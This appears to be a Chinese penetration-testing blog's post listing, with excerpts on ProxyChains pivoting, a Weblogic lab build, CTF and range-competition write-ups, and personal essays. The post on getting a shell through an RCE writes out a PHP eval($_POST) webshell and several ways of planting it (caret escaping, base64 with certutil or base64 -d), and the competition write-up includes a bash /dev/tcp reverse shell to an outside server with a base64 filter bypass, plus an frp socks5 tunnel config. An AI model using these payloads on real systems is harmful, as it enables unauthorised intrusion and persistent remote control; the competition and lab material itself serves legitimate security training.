首页
关于我
友链
推荐
渊龙Sec安全团队
Search
1
渗透必备:使用Proxifier玩转代理
29,093 阅读
2
对于Spring Boot的渗透姿势
15,140 阅读
3
HaE入门到精通:三条影响你一生的HaE规则
14,130 阅读
4
PHP从零学习到Webshell免杀手册
7,882 阅读
5
避坑:Win10环境MS17-010漏洞复现过程
7,501 阅读
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
登录
Search
标签搜索
技术随笔
技术小记
渗透经验
人生小记
CTF
数据库
内网渗透
年末总结
曾哥
累计撰写
39
篇文章
累计收到
306
条评论
首页
栏目
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
页面
关于我
友链
推荐
渊龙Sec安全团队
搜索到
39
篇与
的结果
2023-01-25
内网渗透中使用ProxyChains进行代理
概述在内网渗透当中,往往需要将内网的流量代理出来很多时候,我们常常用Frp等内网穿透工具将内网的相关流量穿透出来,但在有多个网段的情况下很容易就会搞混于是在Linux当中,有款命令行代理工具——ProxyChains非常好用,我个人比较喜欢将它用作内网跨网段渗透。有些师傅不知道,这里就记录一下工具介绍ProxyChains是Linux和其他Unix下的代理工具。它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP/SOCKS4/SOCKS5类型的代理服务器,并且可配置多个代理。ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序,直接断开接收方和发送方的连接。ProxyChains 是一个强制应用的 TCP 连接通过代理的工具,支持 Tor/HTTP/Socks 代理。需要注意的是,ProxyChains 只会将当前应用的 TCP 连接转发至代理,而非全局代理。工具的安装在新版本KaliLinux下(懒得测试老版本了)自带该工具,不需要进行安装操作如果没有的话,也可以像这样快捷安装:Ubuntu可以直接使用apt安装,如下:sudo apt-get install proxychains其他系统,可以选择编译安装,如下:git clone https://github.com/rofl0r/proxychains-ng cd proxychains-ng ./configure sudo make && make install工具的使用我们首先来看下,简单的模拟情景思维导图如下:攻击者已经通过MSF控制了外部Web服务器,目的是想要对内网OA服务器进行内网渗透第一步、使用MSF生成socks代理攻击者使用的MSF开启代理:msfconsole use auxiliary/server/socks4a exploit默认就会在1080端口开放socks4代理第二步、更改ProxyChains配置文件vi /etc/proxychains.conf socks4 192.168.0.66 1080 //新增一行第三步、利用外层Web服务器的meterpreter,添加静态路由sessions 1 //根据自己的实际情况进入session run autoroute -s 10.10.1.0/24 //绑定内网网段 run autoroute -p //查看是否绑定成功第四步、使用代理进行攻击这里以Nmap举例:proxychains3 nmap -sT -Pn 10.10.1.12 -p 80 //扫描10.10.1.12的80端口使用火狐打开内网OA页面:proxychains3 firefox http://10.10.1.12使用Python脚本对内网OA进行攻击:proxychains3 python Exp.py -u http://10.10.1.12 proxychains3 python3 Exp.py -u http://10.10.1.12举个例子,这里要看具体Python脚本的参数总结这就是一个小小的工具使用技巧分享文章希望对各位师傅的内网渗透有所帮助
2023年01月25日
2,893 阅读
1 评论
15 点赞
2023-01-19
避坑小记:Weblogic漏洞复现环境搭建
0# 什么是Weblogic?WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。根据我的个人经验,国内金融产业(银行)、政府等单位都比较喜欢Weblogic,应用还是相对比较广泛的1# 关于Weblogic搭建在平常的信息安全相关工作、学习过程中,Weblogic的相关漏洞经常会碰到。而Weblogic环境搭建过程很繁琐,并且平常想要进行代码调试、漏洞复现的时候,经常会有搭建各种Weblogic版本和各种JDK版本的排列组合的需求,导致安全研究人员苦不堪言。我早些年也被这个问题搞得焦头烂额,当时我一气之下封装了好几个docker才解决问题,但花了不少精力和世界,有没有一个更优雅的方法解决这个问题呢?最近刚好有两个Weblogic漏洞比较感兴趣,想上手分析一下。正好又看到了奇安信A-Team的Weblogic快速构建项目,这里就上手来试一下,并随手记录一下整个搭建过程。2# 准备工作2.1# 准备工具VMware虚拟机(其他虚拟机也行)CentOS 7镜像(这个快速构建项目只能用CentOS,刚开始我用Ubuntu跑不起来,算是踩坑了)WeblogicEnvironment(奇安信A-Team的Weblogic快速构建项目)对应版本的JDK安装包(看你需求)对应版本的Weblogic安装包(看你需求)2.2# 资源下载方式CentOS镜像下载地址: http://mirrors.aliyun.com/centos/7.9.2009/isos/x86_64/ 下载 CentOS-7-x86_64-DVD-2009.iso 即可,也可以用 CentOS-7-x86_64-DVD-2009.torrent 种子进行下载WeblogicEnvironment: https://github.com/QAX-A-Team/WeblogicEnvironment 直接下载代码即可JDK安装包下载地址: https://www.oracle.com/java/technologies/downloads/archive/ 选择要安装的版本,比如我想要安装JDK7,直接点击对应链接:选择 Linux x64 并下载即可Weblogic安装包下载地址: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html 选择要安装的版本,比如我想要安装 Oracle WebLogic Server 10.3.6,选择 Generic Installer 并下载即可3# 开始搭建Weblogic漏洞复现环境准备工作都完成了,那就开始搭建吧~3.1# 安装CentOS到虚拟机这一步不需要我教你了吧,有问题百度如果需要把CentOS系统语言改为中文,可以参考这篇文章: https://www.cnblogs.com/-zzf/p/16137234.html 换源的话,如果觉得原始源太慢可以选择换源安装VM-Tools,在命令行输入以下命令:sudo yum install -y open-vm-tools sudo yum install -y open-vm-tools-desktop3.2# CentOS安装Docker最好是切换到 root 账户(我怕权限问题)su root在终端执行以下命令:yum install -y docker显示Docker安装完毕,验证一下是否安装正常即可:docker --version或者是这样:yum list installed | grep docker如果想每次在服务器启动后都自动启动 Docker 的话,可以使用以下命令开启:systemctl enable docker3.2# 配置WeblogicEnvironment将刚才准备的WeblogicEnvironment压缩包复制到CentOS并解压:根据项目描述,打开解压后的文件夹,创建两个新文件夹,名字分别是 jdks 和 weblogics然后将准备好的JDK安装包和Weblogic安装包分别放到 jdks 和 weblogics 这两个文件夹里面3.3# 运行WeblogicEnvironment这个项目提供了一键构建Docker镜像的sh脚本,但我们需要修改一下项目文档中也给出了示例:{card-describe title="项目示例代码"}以Weblogic12.1.3配JDK 7u21为例,构建镜像命令如下:docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar -t weblogic12013jdk7u21 .镜像构建完成后,执行以下命令运行:docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic12013jdk7u21 weblogic12013jdk7u21{/card-describe}同样这两行代码也包含在项目的sh脚本中了,我们修改一下sh脚本文件保存即可:接下来给文件夹赋予执行权限:cd /home/demo/WeblogicEnvironment-master //根据项目的位置自行切换 chmod -R 777 ../WeblogicEnvironment-master然后看一下执行权限给了没:cd /home/demo/WeblogicEnvironment-master //根据项目的位置自行切换 ls -l接下来执行脚本即可:./run_weblogic1036jdk7u21.sh //刚才修改的sh脚本名字3.4# 解决报错问题这个时候会报错:Error: Failed to download metadata for repo 'appstream': Cannot prepare internal mirrorlist: No URLs in mirrorlist{card-describe title="报错解决过程"}首先,进入到 yum 的 repos 目录cd /etc/yum.repos.d/其次,修改相关文件内容:sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*然后,安装 wget:yum install wget –y //如果已经安装了wget就不需要这一步接着,更新 yum 源为阿里源:wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo最后,生成缓存更新(第一次更新,速度稍微有点慢,耐心等待两分钟左右):yum clean all yum makecache验证安装 vim 看有无报错:yum install -y vim最重要的一步,修改项目的 Dockerfile 文件!修改开头内容为:FROM centos FROM centos:centos7注释掉以下内容为:# 解决libnsl包丢失的问题 #RUN yum -y install libnsl{/card-describe}3.5# 成功搭建Weblogic漏洞复现环境再次运行sh脚本即可成功将Docker环境跑起来:访问 虚拟机IP:7001/console/login/LoginForm.jsp 能登录到 Weblogic Server 管理控制台,用户名密码如下:默认用户名:weblogic 默认密码:qaxateam014# 总结搭建一路上还是遇到了不少坑,也卡了挺久的,有时候确实让人很烦躁但技术的学习就是这样,很多时候都是在发现问题、解决问题,只有认真、耐心的去面对并解决问题,才能有相应的成长和收获!同时也希望这篇文章能给各位师傅带来帮助~
2023年01月19日
1,801 阅读
0 评论
14 点赞
2023-01-05
Web系统的RCE漏洞的Getshell姿势
情景描述今天早上在研究一个Web系统的0Day,虽然是个任意命令执行漏洞,但是这个RCE有些局限,就想通过RCE写个WebShell提提权再看看目标系统:Microsoft Windows Server 2019 Standard动态脚本:PHP 5.6GetShell姿势通常我们写入文件,通常都会使用CMD的echo命令echo 文件内容 > "文件名"假如我们要写php一句话的时候,比如:<?php eval($_POST["aabyss"]); ?>这时候有同学就想到这样不就好了:echo <?php eval($_POST["aabyss"]);?> > "webshell.php"但实际上这样是不行的,因为以下特殊符号是无法直接放入echo语句(执行会提示语法错误或者无法写入这些符号):& | > < +所以通常我们会把特殊符号通过^来进行转义,比如这样:echo ^<?php eval($_POST["aabyss"]);?^> > "webshell.php"通常就能写入了难点来了但是我早上尝试的那个0day,语句没办法通过^进行转义,或者写入的流量被WAF拦截,怎么办呢?首先,我想到了通过""双引号进行包含进行写入,比如:echo echo "<?php eval($_POST["aabyss"]);?>" > "webshell.php"文件内容如下:"<?php eval($_POST["aabyss"]);?>"这样虽然能写入& | > < +这些特殊符号,但是代码最外层带了"",实测php代码是无法执行的于是我又想到了Base64编码进行写入,首先对一句话内容进行base编码:于是得到编码后的Base64字符串,如下:PD9waHAgZXZhbCgkX1BPU1RbImFhYnlzcyJdKTsgID8+但是通过上文,我们发现+也是不能写入的,怎么办呢?这时候插入在外部插入一些数字就能简单解决啦:这时候就得到一份做好的Base64字符串:MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy接下来通过echo将Base64字符串写入TXT文件即可:echo MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy > "base64.txt"接下来通过命令进行解密:certutil -f -decode "base64.txt" "webshell.txt"然后将webshell.txt复制为php文件即可大功告成:copy webshell.txt webshell.php其他一些tips对于Linux系统,可以采用系统命令直接解密Base64来写入:echo 'MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy' | base64 -d > webshell.php查看当前目录:cd解密Base64文件到上层目录:certutil -f -decode "base64.txt" "../webshell.txt"将命令输入内容写入文件查看:命令 >> out.txt
2023年01月05日
1,425 阅读
2 评论
19 点赞
2022-12-31
2022,我的年终总结
2022年终总结时间总是过得飞快,转眼间,就来到2022最后一天了要不是阳了快好了,我还就真的错过了这一天在2022年这一年当中,发生了许多事,也经历了许多,有些唏嘘:参加了浙江省HW行动(红队)和国家HW行动(蓝队),获第一名得到奖金参加5场大大小小的网络安全赛事,总体一般,还待努力2022年中开始运营自己的推特(@AabyssZG),发表自己对技术的一些看法,目前粉丝大约千余人维护好团队的相关网站,建立了团队内部漏洞库(wiki.aabyss.cn),更新了团队的渗透导航(dh.aabyss.cn)比赛中对于CTF相关知识的运用更加得心应手(诸如反序列化)建立并维护好团队的公众号,目前粉丝已达5000余人在内网渗透和免杀这块的知识得到了很大的深入应用和锻炼在多个漏洞平台提交了中高危漏洞年末建立了自己的个人博客(blog.zgsec.cn),准备开始沉淀自己对于2023年的期望{x} 能拥有自己的一个原创高危漏洞证书{x} 在学习过程中,编写相关的开源工具方便自己未来的工作和生活{ } 在Java安全领域有所建树,继续深入学习Java代码审计{x} 在CTF比赛方面继续投入精力来取得成绩{x} 寒假期间,挖一挖Edu教育行业的漏洞(目前我们团队排在第5名){x} 能参加几场国内线下的安全论坛/会议(之前一直因为疫情无法到场){x} 交接好工作室,培养好新一届的学弟学妹{x} 广开视野,广交朋友
2022年12月31日
1,715 阅读
2 评论
29 点赞
2022-12-24
一语点醒梦中人
世界不只有眼前的苟且,还有诗与远方我一直觉得,万事万物总是在变化,我们的人生也一样在人生的无数岔路口,可能有着迷茫、无助、悔恨甚至愤怒,但不管怎么也好,路仍在脚下,我还是要继续走好自己的人生这篇文章是写给我自己的,希望未来,我在岔路口迷失自我的时候,能想到这篇文章相由心生,境随心转我一直相信一句话:“相由心生,境随心转”在我理解中:“相”可以指物品的表象,也可以指面对的事情“境”可以指周遭的环境,也可指自己的心境。一件事、一个物,它的“相”取决于你怎么看待它;周遭的环境、你的心境,他的“境”更取决于你自己在人生的每个阶段,都要合理、科学的看待事物和问题,更要理性的对待环境:何为“相由心生”?当你以不同态度、不同方向去看待事、物,你所看的“相”不尽相同何为“境随心转”?有时候无法改变环境,那就改变自己,另辟蹊径创造更好的环境一些平常生活中看到的词条当你为错过太阳而哭泣的时候,你也要再错过群星了。如果我们的后代害怕枪声和爆炸声,男孩子缺乏阳刚之气,而女孩子肤浅无知,就是最大的耻辱和悲哀。 ——俄罗斯联邦武装力量绍伊古大将离你最近的道路,路程也最遥远;就像通过最复杂的练习,人们才能收获最简单的曲调。有一个夜晚我烧毁了所有的记忆,从此我的梦就透明了;有一个早晨我扔掉了所有的昨天,从此我的脚步就轻盈了。弱小和无知不是生存的障碍,傲慢才是! ——《三体》人生是一座桥梁,它的伟大绝不来自它的目的。它连接起正午、黄昏和黎明,让自发的意义在这样的过程中不断拓展。永远不要因为你不懂,就妄自猜测;永远不要因为别人不同于你,而随便批判。越是这样,越暴露出你的无知。看恩,看善,看远,看宽,看淡。世界不坏,人心在坏;社会不乱,人心在乱。我们很多时候是不是觉得我们抓的牌实在是太差了呀,但是再差的牌,我们都应该打下去。我们登上并非我们所选择的舞台,我们决定不了我们的出身、决定不了我们的智商、更决定不了我们这一生的贵人相助,很多时候我们会羡慕别人的剧本,但是,没有谁的剧本值得羡慕,你只能把你自己的剧本给演好。如果在你的一生中真的遭遇了这些挫折,那对不起,这就是你的剧本,你有两种选择:一种选择是弃演,一种选择就是把既定的剧本给演好。所以希望大家能演好自己的剧本。 ——罗翔教授天冷,心不冷;天寒,志不寒;因为尊严和良心都还在。生命发光发热,不存在成功与失败。生活只是,一个过程、一份经历、一种经过,只是时间的长短,不同的方式与层次的体会。不在沉默中爆发,就在沉默中死亡。你们记住,当一个人去追求生活的必需品的时候,他往往是勤奋和勇敢的;当一个人去追求生活的消费品的时候,这个时候他往往变得懒惰和温和;当一个人去追求生活的奢侈品的时候,这个人就变得软弱了。一个人、一个家庭、一个单位、一个民族、一个国家,奢侈品越多,就越愿意用剩余财富,而不是以他自己的生命为代价,去守卫其财富,记住这一点。 ——郑强教授埋怨与怀恨是善良的阻碍,让人无法慈悲,无法感恩,无法付出,无法接受。长期的埋怨与仇恨,会伤害身体、破坏人生的幸福。就算彼此有恩怨,也应该彼此尊重,这是基本的原则与道德。拥有是一种承担,放下是一种解脱。迷途知返者是勇者,迷心知返者是智者。尊严只在剑锋之上,真理只在大炮射程之内。 ——艾跃进教授水落石出、日久见人心,不要这么快下判断、下定论,给时间与结果一点空间、一个机会。没有相逢恨晚,因为一切是缘,缘生缘起,缘起缘灭。愿中国青年都摆脱冷气,只是向上走,不必听自暴自弃者流的话。能做事的做事,能发声的发声。有一分热,发一分光,就令萤火一般,也可以在黑暗里发一点光,不必等候炬火。此后如竟没有炬火:我便是唯一的光。 ——鲁迅先生
2022年12月24日
1,008 阅读
1 评论
25 点赞
2022-12-21
2022安恒杯决赛思路分享
比赛概述难以置信,我们是第一名!!!感谢同一队的@Mstir师傅和我的密切合作哈哈 安恒杯初赛是CTF,我博客前面两篇文章写了一部分解题思路,后面看看要不要再把一些解题思路放上来(主要是懒哈哈,懒得码字)决赛的话,就不是CTF的赛制了,而是综合渗透赛制,这个有点像AWD但又不像本来我和 @Mstir 师傅也只是想认真比一下的,但没想到拿了第一,真的意想不到有些师傅想要让我分享一下这次比赛,那我就在这里简单的分享一下吧何为综合渗透赛制?综合渗透赛制,又称靶场综合渗透,此模式涉及多个前沿热门应用、同时涉及了多层网络,模拟真实企业生产环境,比如上线一套分布在不同网络区域的多台漏洞靶机,参赛队伍通过内网渗透获取靶机相应权限,从而读取相应的Flag(旗标文件)。涉及的知识点有内网安全、反向代理、内网穿透、服务器提权、中间件安全、数据库安全等。简单来说,就是我们作为攻击方,通过对模拟真实环境的靶机进行渗透来获取关键Flag1# 准备阶段前期:摄像头、录屏工具(EV录屏、Bandicam)因为比赛的时候,我们学校放假了,因为本次比赛有非常强的防作弊措施,比赛全程都要开启并接入监控摄像头,比赛全程所有选手的电脑必须录屏并提交,所以这两个必须要准备比赛期间:一台公网服务器:用来反弹Shell和Frp转发流量7kbScan:用于扫描Web敏感路径的BurpSuite:著名的抓包工具,爆破Web的密码要用AntSword(蚁剑):用于连接WebShell和访问数据库以及提权SolrVulScan1.0-win64.jar:本次比赛出现CVE-2019-17558这个Apache Solr的漏洞,所以需要利用工具Solr_CVE-2019-17558.py:同上,Python的漏洞利用脚本Fscan:内网扫描神器,相信很多师傅都用过Frp:用于内网渗透的时候将内网流量代理出来Proxifier:用于配合Frp,给本机系统进行全局代理Navicat(可选):数据库可视化连接工具,配合Frp连接内网数据库Ladon拉冬:K8师傅开发的内网渗透、提权必备神器DayBreak破晓平台:斗象科技开发的轻量级C2平台项目,我拿到了内测权限,用来上线Linux,可以用CobaltStrike替代能想到的工具目前就这些了,如果还有的话再补充2# 整体思维导图3# 比赛过程3.1# 外网打点阶段-phpok首先给了一个外网地址:162.14.*.*(扫描后,发现开了两个端口:80和8983端口)80端口,访问后是一个网站:显示使用phpok这个源码搭建的:直接上手7kbscan,扫描路径:扫出了一个robots.txt和admin.phprobots.txt里面带了一个flag14,admin.php是后台地址用BurpSuite爆破后台账号密码,注意这里需要识别验证码进行爆破,相关的姿势去百度有很多文章,这里就不赘述了爆破出后台账号密码:admin/admin123吐槽:估计是怕BurpSuite带验证码爆破有些队伍不会,提示Hint1直接给了账号密码,我爆破半天。。 登录后台后,百度可以找到phpok存在后台任意文件上传 (CVE-2018-12491)漏洞,直接跟着文章复现漏洞即可: https://blog.csdn.net/weixin_42675091/article/details/126673611 至此,我们拿到了WebShell,用AntSword连接即可:找到数据库配置文件,连上本地数据库:数据库地址:127.0.0.1数据库账号:root数据库密码:abc123...数据库名:phpok4simple直接可以通过蚁剑连上数据库,但是翻了翻没flag,估计在其他地方然后直接通过WebShell到/home/目录下,就找到了flag1:3.2# 外网打点阶段-Apache Solr转头来看对外开放的Solr服务:直接Python脚本一把梭哈哈,也能拿到falg13.3# 上线机器直接在Web目录下上传二进制文件,命令直接执行即可上线:在DayBreak破晓平台即可看到机器上线了:可以很清楚的看到,上线的机器内网地址为172.16.238.20同样,可以直接通过WebShell执行反弹shell指令,但是直接执行好像不行:bash -i >& /dev/tcp/8.***.**.**/25565 0>&1这时候,就需要对命令进行编码即可绕过进行反弹shell:bash -c '{echo,base64编码后的字符串}|{base64,-d}|{bash,-i}'3.4# 内网扫描直接丢个Ladon拉冬或者Fscan扫内网就行了这时候提示Hint2来了,直接给内网C段:172.16.238.0/24(话说用WebShell看一下地址不就好了吗,这还需要提示???)我这边同时使用Fscan和DayBreak破晓平台同时开始内网扫描:上传fscan_amd64,使用以下命令:/var/www/html/fscan_amd64 -h 172.16.238.0/24 > 222.txt将扫描结果直接导入222.txt结果如下:start ping (icmp) Target 172.16.238.20 is alive (icmp) Target 172.16.238.50 is alive (icmp) Target 172.16.238.10 is alive (icmp) Target 172.16.238.1 is alive (icmp) Target 172.16.238.30 is alive (icmp) Target 172.16.238.40 is alive [*] Icmp alive hosts len is: 6 172.16.238.30:8080 open 172.16.238.20:80 open 172.16.238.40:22 open 172.16.238.1:22 open 172.16.238.30:8009 open 172.16.238.50:445 open 172.16.238.50:139 open 172.16.238.1:80 open 172.16.238.40:3306 open 172.16.238.1:8983 open 172.16.238.10:8983 open [*] alive ports len is: 11 start vulscan [*] NetBios: 172.16.238.50 56b9f476dcc9 Windows 6.1 [*] 172.16.238.50 (Windows 6.1) [*] WebTitle: http://172.16.238.10:8983 code:302 len:0 title:None 跳转url: http://172.16.238.10:8983/solr/ [*] WebTitle: http://172.16.238.30:8080 code:200 len:11230 title:Apache Tomcat/8.0.43 [*] WebTitle: http://172.16.238.10:8983/solr/ code:200 len:14634 title:Solr Admin [*] WebTitle: http://172.16.238.20 code:200 len:14255 title:闻道集团 - 网站建设|企业网站建设|PHPOK网站建设|PHPOK企业网站建设 [*] WebTitle: http://172.16.238.1 code:200 len:14213 title:闻道集团 - 网站建设|企业网站建设|PHPOK网站建设|PHPOK企业网站建设 [*] WebTitle: http://172.16.238.1:8983 code:302 len:0 title:None 跳转url: http://172.16.238.1:8983/solr/ [*] WebTitle: http://172.16.238.1:8983/solr/ code:200 len:14634 title:Solr Admin [+] http://172.16.238.30:8009 poc-yaml-iis-put-getshell [+] http://172.16.238.30:8080 poc-yaml-tomcat-cve-2017-12615-rce [+] http://172.16.238.1:8983 poc-yaml-solr-velocity-template-rce [+] http://172.16.238.10:8983 poc-yaml-solr-velocity-template-rce //内置的ssh没爆破成功,这部分就删掉了 已完成 11/11 [*] 扫描结束,耗时: 6m40.996181292sDayBreak破晓平台扫描结果如下:没问题,两边都扫描出这些端口和内容,应该算是没有遗漏了扫出172.16.238.40这台机器开放了3306端口(MySQL数据库),加上我们之前拿到WebShell之后可以看到数据库连接的账号密码,就尝试连接发现flag5:3.5# Frp内网流量带出测试了以下,内网172.16.238.0/24是不出网的,必须要用Frp将流量带出来下载Frp: fatedier/frp 很简单,frpc是客户端,frps是服务端配置frpc.ini:# frpc.ini [common] server_addr = 自己公网服务器地址 server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 plugin = socks5 //这一句必须要加,不然代理连不上客户端通过WebShell上传,frps上传到自己的公网服务器上,配置frps.ini:# frps.ini [common] bind_port = 7000接下来要在自己的公网服务器上开6000和7000这两个端口,并执行命令进行监听:./frps -c ./frps.ini再在上线的那台机器上执行命令:/var/www/html/frp/frpc -c ./frpc.ini这样就可以成功将内网流量通过公网服务器的6000端口代理出来了,接下来使用Proxifier配合Frp对本地系统进行全局代理:3.6# 内网渗透既然上面发现172.16.238.1和172.16.238.10存在Solr漏洞,直接用SolrVulScan1.0-win64.jar打过去:也能拿到一个flag,这里就不放出来了同时,172.16.238.30的8080端口有Tomcat服务也存在漏洞,内网流量代理出来后就很方便了,直接本机打就行了:同样,读取/home/flag即可拿到flag4# 主办方提示汇总Hint1:CVE-2019-17558 find提权 admin/admin123 1. SUID提权 2. oklite的robots.txt 别忘了,然后试试 admin/admin123 登录。Hint2:1. 一层内网地址:172.16.238.0/24 2. 多扫扫,内网机器的洞很好搞的。Hint3:getshell后尽量用frp或者nps,尽量不要用 reGeorg 之类的正向代理工具,Apache可经不起你这样跑:)HInt4:注意数据安全,数据库里可能也会有flag,别光GetShell,翻下数据库。Hint5:172.16.238.40,MYSQL,用oklite的config.php里的密码去连,同学们渗透要做好信息收集。Hint6:冰蝎不行可以用蚁剑。 MYSQL UDF,还有flag。总结共8个flag,我们总共找到6个flag最后时间不够了,不然172.16.238.40的MySQL进行UDF提权,估计还能拿到一个flagMySQL提权可以看我这篇文章: MySQL不出网文件落地上线姿势队伍里面合作很重要,感谢 @Mstir 师傅和我的密切配合这种比赛需要自备一台公网服务器,不然后期的内网渗透寸步难行自己渗透的速度还是不够,如果再快点,能把全部flag都找到,还要多加练习信息搜集很重要,特别是内网的信息,40那台机器的数据库我也差点忽略了哈哈感谢安恒科技和各个主办单位,给我们这次机会展示自己,没想到真的拿了第一名
2022年12月21日
3,041 阅读
5 评论
22 点赞
2022-12-10
2022安恒杯部分WP-Misc篇
比赛概述吐血。。还是细节没注意Misc-1:My_lllp吐槽:我是真没想到这个隐写方式啊啊啊啊啊啊啊,这道题赛时我没做出来,是看其他师傅的WriteUP复现的1# 题目内容2# 解题思路2.1 提取图片内隐写的内容解压后,只有一张png格式的女生头像用Stegsolve.jar看了一下,发现有PK开头的数据,果断上foremost一键分离文件(工具包内自带了)发现zip有注释信息:也许名称能给你想要的 (ᗜ ˰ ᗜ) 线索如下:名称?名称不就是文件名my_lllp吗?难不成是这个人的名字???结合题目描述:你能发现图片中的秘密吗?这里肯定有图片隐写,但是我试了很多带密码的图片隐写,没成功解密我还去百度识图,识图结果为一个名为“林允”的艺人,相信群里面很多师傅都和我一样觉得密码应该和“林允”有关真没想到是cloacked-pixel,我是看赛后别人发的WriteUP才想起来。。。使用隐写工具cloacked-pixel 密码为my_lllp工具开源地址:https://github.com/livz/cloacked-pixelpython lsb.py extract -i "my_lllp.png" -o out.txt -p my_lllp打开导出的out.txt,可以看到:passwordisSSSSSssssscretpassword is SSSSSssssscret2.2 提取压缩包内容那上面分离的压缩包,解压密码应该是:SSSSSssssscret解压后,拿到flag.txt,内容如下:2.3 解密相关内容,拿到flag提示为snow,那肯定想到snow雪花隐写相关工具下载地址:https://www.darkside.com.au/snow/使用SNOW.EXE对flag.txt进行解密SNOW.EXE -C flag.txt解密后,得到Base64编码的一个字符串REFTQ1RGe0MwbmdyYXRVMWF0aTBuU19Pbl9GaW5kaW5nX3RoZV9mMWFnfQ==使用Base64编码解密,得到flag麻了,我也不知道该说什么了,还是默默补全我的CTF工具箱吧。。隐写方式那么多,你们怎么知道用cloacked-pixel隐写的啊,啊啊啊啊啊啊啊啊啊啊Misc-3:depthpng吐槽:比赛的时候,专注于MISC的第一题、第二题和Web的第三题,这道题没看。当天晚上看了一下,感觉还是挺简单的,远远没有MISC第一题的脑洞那么大,我真的会谢、、1# 题目内容2# 解题思路2.1 提取图片内隐写的内容解压后,只有一张png格式的图片,用Stegsolve.jar看了一下没找到什么东西那就是图片隐写内容在里面,直接上Kali用万能的zsteg默认Kali是没有zsteg这个工具的,这里附上zsteg安装过程:sudo apt-get install gem git clone http://www.github.com/zed-0xff/zsteg sudo gem install zsteg zsteg -h //显示zsteg的帮助菜单,如果有回显说明安装成功安装完成后,使用zsteg对图片进行分析zsteg -a depthpng.png发现在 b1,g,lsb,yx 这块区域,有个ZIP压缩包,我们要将它从图片里面提取出来zsteg depthpng.png -E b1,g,lsb,yx > dapthpng.zip提取出的压缩包内容如下:有个加密的flag.txt,一个未加密的.flag.txt.swp2.2 对.swp文件进行恢复需要关注的是.swp文件,这里简单说一下.swp文件vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data.txt,那么swp文件名就是.data.txt.swp如果文件正常退出,则此文件自动删除以下两种情况不会删除.swp文件:vim非正常退出(比如直接关闭终端或者电脑断电)这种情况下,除非手动删除swp文件,否则它会一直存在。当你强行关闭vim时,vim自动生成一个swp文件,当你再次用vim打开文件时,会出现提示简单来说,.swp文件是Linux里面vim(Linux内置的文本编辑器,相当于Win的TXT文本编辑器)的一个缓存文件,防止你编辑文件的时候出现突发情况导致数据丢失的情况,通过这个.swp文件,可以恢复原来编辑时候的数据先把这个.swp文件解压出来因为.swp文件是隐藏文件,是无法直接在文件夹里面看到的,于是我们要用命令才能看到ls -al那我们就来试一下恢复这个.swp文件吧cd ~/Downloads/depthpng //切换到文件解压的目录,根据你的情况自行修改 vim -r .flag.txt.swp发现报错了,不慌,看一下报了什么错因为在恢复.swp文件的时候,会恢复在它记录的目录(即 /home/chang/Downloads/Misc/),但我们虚拟机里面没有这个目录,所以它会显示“无法打开并写入文件”,所以创建这个路径再恢复即可/home:如果建立一个用户,用户名是"zg666",那么在/home目录下就有一个对应的/home/zg666路径,用来存放用户的主目录所以,我们要创建一个名为“chang”的用户,才能生成 /home/changsudo useradd -m chang然后读取 /etc/passwd 看看有没有创建成功cat /etc/passwd | grep "chang"这时候,/home/chang 就生成了,但我们还需要建两个子目录:/Downloads/Misc/cd /home/chang sudo mkdir Downloads cd /home/chang/Downloads sudo mkdir Misc然后再去恢复一下上面的.swp文件cd ~/Downloads/depthpng //切换到文件解压的目录,根据你的情况自行修改 sudo vim -r .flag.txt.swp按回车进入下一步,输入 :wq(保存编辑操作退出),再回车回到 /home/chang/Downloads/Misc/ 目录下面,发现恢复成功了打开一看,没有flag2.3 对压缩包进行明文攻击既然恢复的flag.txt里面没有flag,说明这是要通过恢复的flag.txt对前面提取出来的ZIP压缩包进行明文攻击发现压缩包内,对flag.txt的加密方式为“ZipCrypto”,这是一种旧版的ZIP加密算法,里面存在明文攻击漏洞这里就需要用到一个开源项目:https://github.com/kimci86/bkcrack,来对压缩包进行明文攻击为了方便区分,我就把上面通过.swp恢复的flag.txt重命名为swp.txt,然后开始对压缩包进行明文攻击bkcrack.exe -C .\dapthpng.zip -c flag.txt -p swp.txt显示攻击成功,拿到相关keys这时候,就可以通过“ZipCrypto”压缩方式的漏洞修改压缩包的密码了,这里我把它修改为“easy”bkcrack.exe -C .\dapthpng.zip -k 6c30e526 874fd386 341fe8cb -U .\out.zip easy打开目录,可以看到生成了一个“out.zip”,解压密码为easy2.4 攻击成功,拿到flag用“easy”解压压缩包,成功拿到flag其实理清楚,感觉这道题还是挺简单的,很多时候做题的时候,思路想的不是很清晰,或者没有注意相应细节,还是要多学多练黑夜给予了我们一双黑色的眼睛,我们却用它来寻找漏洞
2022年12月10日
1,440 阅读
0 评论
11 点赞
2022-12-10
2022安恒杯部分WP-Web篇
